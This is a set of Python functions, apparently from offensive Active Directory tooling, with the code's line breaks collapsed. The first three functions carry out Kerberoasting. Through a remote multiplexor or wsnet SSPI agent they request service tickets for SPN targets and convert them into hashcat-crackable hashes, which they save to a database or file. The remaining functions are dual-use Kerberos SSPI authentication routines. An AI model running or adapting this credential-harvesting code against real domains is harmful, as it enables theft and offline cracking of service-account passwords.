async def kerberoast_multiplexor(self): try: from multiplexor.operator.external.sspi import KerberosSSPIClient from multiplexor.operator import MultiplexorOperator except ImportError as error: return None, Exception('Failed to import multiplexor module! You will need to install multiplexor to get this working!') try: ws_logger = logging.getLogger('websockets') ws_logger.setLevel(100) url_e = urlparse(self.kerb_url) agentid = url_e.path.replace('/','') operator = MultiplexorOperator(self.kerb_url) await operator.connect() #creating virtual sspi server for uid in self.targets_spn: try: server_info = await operator.start_sspi(agentid) #print(server_info) sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port']) #print(sspi_url) ksspi = KerberosSSPIClient(sspi_url) await ksspi.connect() apreq, err = await ksspi.authenticate(self.targets_spn[uid].get_formatted_pname()) if err is not None: logger.debug('[SPN-MP] error occurred while roasting %s: %s' % (self.targets_spn[uid].get_formatted_pname(), err)) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(aprep)) self.session.add(t) self.total_targets_finished += 1 if self.progress_queue is not None: msg = GathererProgress() msg.type = GathererProgressType.KERBEROAST msg.msg_type = MSGTYPE.PROGRESS msg.adid = self.ad_id msg.domain_name = self.domain_name msg.total = self.total_targets msg.total_finished = self.total_targets_finished msg.step_size = 1 await self.progress_queue.put(msg) except Exception as e: logger.debug('[SPN-MP] Error while roasting %s. %s' % (uid, e)) finally: try: await ksspi.disconnect() except: pass self.session.commit() except Exception as e: return None, e
async def spnmultiplexor(args): try: from multiplexor.operator.external.sspi import KerberosSSPIClient from multiplexor.operator import MultiplexorOperator except ImportError as error: print('Failed to import multiplexor module! You will need to install multiplexor to get this working!') logger = logging.getLogger('websockets') logger.setLevel(100) if args.verbose > 2: logger.setLevel(logging.INFO) try: logging.debug('[SPN-MP] input URL: %s' % args.mp_url) url_e = urlparse(args.mp_url) agentid = url_e.path.replace('/','') logging.debug('[SPN-MP] agentid: %s' % agentid) targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception('No targets were specified! Either use target file or specify target via cmdline') logging.debug('[SPN-MP] loaded %s targets' % len(targets)) operator = MultiplexorOperator(args.mp_url) await operator.connect() #creating virtual sspi server results = [] for target in targets: server_info = await operator.start_sspi(agentid) #print(server_info) sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port']) #print(sspi_url) ksspi = KerberosSSPIClient(sspi_url) await ksspi.connect() apreq, err = await ksspi.authenticate(target.get_formatted_pname()) if err is not None: logging.debug('[SPN-MP] error occurred while roasting %s: %s' % (target.get_formatted_pname(), err)) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native results.append(TGSTicket2hashcat(aprep)) if args.out_file: with open(args.out_file, 'w', newline = '') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) except Exception as e: logging.exception('[SPN-MP] exception!')
async def kerberoast_sspiproxy(self): try: from wsnet.operator.sspiproxy import WSNETSSPIProxy url = self.kerb_url agentid = None o = urlparse(self.kerb_url) if o.query: q = parse_qs(o.query) agentid = q.get('agentid', [None])[0] if agentid is not None: agentid = bytes.fromhex(agentid) for uid in self.targets_spn: if self.targets_spn[uid].get_formatted_pname().lower( ).startswith('krbtgt'): continue sspi = WSNETSSPIProxy(url, agentid) status, ctxattr, apreq, err = await sspi.authenticate( 'KERBEROS', '', self.targets_spn[uid].get_formatted_pname(), 3, 2048, authdata=b'') if err is not None: print(err.__traceback__) print('Failed to get ticket for %s Reason: %s' % (self.targets_spn[uid].get_formatted_pname(), str(err))) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(aprep)) self.db_session.add(t) self.total_targets_finished += 1 if self.progress_queue is not None: msg = GathererProgress() msg.type = GathererProgressType.KERBEROAST msg.msg_type = MSGTYPE.PROGRESS msg.adid = self.ad_id msg.domain_name = self.domain_name msg.total = self.total_targets msg.total_finished = self.total_targets_finished msg.step_size = 1 await self.progress_queue.put(msg) self.db_session.commit() except Exception as e: return None, e
async def authenticate(self, authData=None, flags=None, seq_number=0, cb_data=None): try: status, ctxattr, apreq, err = await self.sspi.authenticate( 'KERBEROS', '', self.settings.target.to_target_string(), 3, self.flags.value, authdata=b'') if err is not None: raise err self.flags = ISC_REQ(ctxattr) self.session_key, err = await self.sspi.get_sessionkey() if err is not None: return None, None, err unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native subkey = Key(aprep['ticket']['enc-part']['etype'], self.session_key) self.gssapi = get_gssapi(subkey) if aprep['ticket']['enc-part']['etype'] != 23: if ISC_REQ.CONFIDENTIALITY in self.flags: raw_seq_data, err = await self.sspi.get_sequenceno() if err is not None: return None, None, err self.seq_number = GSSWrapToken.from_bytes( raw_seq_data[16:]).SND_SEQ return unwrap.data[2:], False, None except Exception as e: return None, None, e
async def authenticate(self, authData=None, flags=None, seq_number=0, cb_data=None): #authdata is only for api compatibility reasons if self.ksspi is None: await self.start_remote_kerberos() try: apreq, res = await self.ksspi.authenticate( self.settings.target.to_target_string(), flags=str(self.flags.value)) #print('MULTIPLEXOR KERBEROS SSPI, APREQ: %s ERROR: %s' % (apreq, res)) if res is not None: return None, None, res # here it seems like we get the full token not just the apreq data... # so we need to discard the layers self.session_key, err = await self.ksspi.get_session_key() if err is not None: return None, None, err unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native subkey = Key(aprep['ticket']['enc-part']['etype'], self.session_key) self.gssapi = get_gssapi(subkey) if aprep['ticket']['enc-part']['etype'] != 23: raw_seq_data, err = await self.ksspi.get_seq_number() if err is not None: return None, None, err self.seq_number = GSSWrapToken.from_bytes( raw_seq_data[16:]).SND_SEQ return unwrap.data[2:], False, res except Exception as e: return None, None, e
async def authenticate(self, authData, flags=None, seq_number=0, cb_data=None): """ This function is called (multiple times depending on the flags) to perform authentication. """ try: if self.kc is None: _, err = await self.setup_kc() if err is not None: return None, None, err if self.iterations == 0: self.seq_number = 0 #int.from_bytes(os.urandom(4), byteorder='big', signed=False) self.iterations += 1 #tgt = await self.kc.get_TGT() tgt = await self.kc.get_TGT( override_etype=self.preferred_etypes) tgs, encpart, self.session_key = await self.kc.get_TGS( self.spn) #, override_etype = self.preferred_etypes) #self.expected_server_seq_number = encpart.get('nonce', seq_number) ap_opts = [] if ChecksumFlags.GSS_C_MUTUAL_FLAG in self.flags or ChecksumFlags.GSS_C_DCE_STYLE in self.flags: if ChecksumFlags.GSS_C_MUTUAL_FLAG in self.flags: ap_opts.append('mutual-required') apreq = self.kc.construct_apreq(tgs, encpart, self.session_key, flags=self.flags, seq_number=self.seq_number, ap_opts=ap_opts, cb_data=cb_data) return apreq, True, None else: #no mutual or dce auth will take one step only apreq = self.kc.construct_apreq(tgs, encpart, self.session_key, flags=self.flags, seq_number=self.seq_number, ap_opts=[], cb_data=cb_data) self.gssapi = get_gssapi(self.session_key) return apreq, False, None else: self.iterations += 1 #raise Exception('Not implemented!') if ChecksumFlags.GSS_C_DCE_STYLE in self.flags: # adata = authData[16:] # if ChecksumFlags.GSS_C_DCE_STYLE in self.flags: # adata = authData raise Exception('DCE auth Not implemented!') # at this point we are dealing with mutual authentication # This means that the server sent back an AP-rep wrapped in a token # The APREP contains a new session key we'd need to update and a seq-number # that is expected the server will use for future communication. # For mutual auth we dont need to reply anything after this step, # but for DCE auth a reply is expected. TODO # converting the token to aprep token = KRB5_MECH_INDEP_TOKEN.from_bytes(authData) if token.data[:2] != b'\x02\x00': raise Exception('Unexpected token type! %s' % token.data[:2].hex()) aprep = AP_REP.load(token.data[2:]).native # decrypting aprep cipher = _enctype_table[int(aprep['enc-part']['etype'])]() cipher_text = aprep['enc-part']['cipher'] temp = cipher.decrypt(self.session_key, 12, cipher_text) enc_part = EncAPRepPart.load(temp).native #updating session key, gssapi self.session_key = Key(int(enc_part['subkey']['keytype']), enc_part['subkey']['keyvalue']) #self.seq_number = enc_part.get('seq-number', 0) self.gssapi = get_gssapi(self.session_key) return b'', False, None except Exception as e: return None, None, e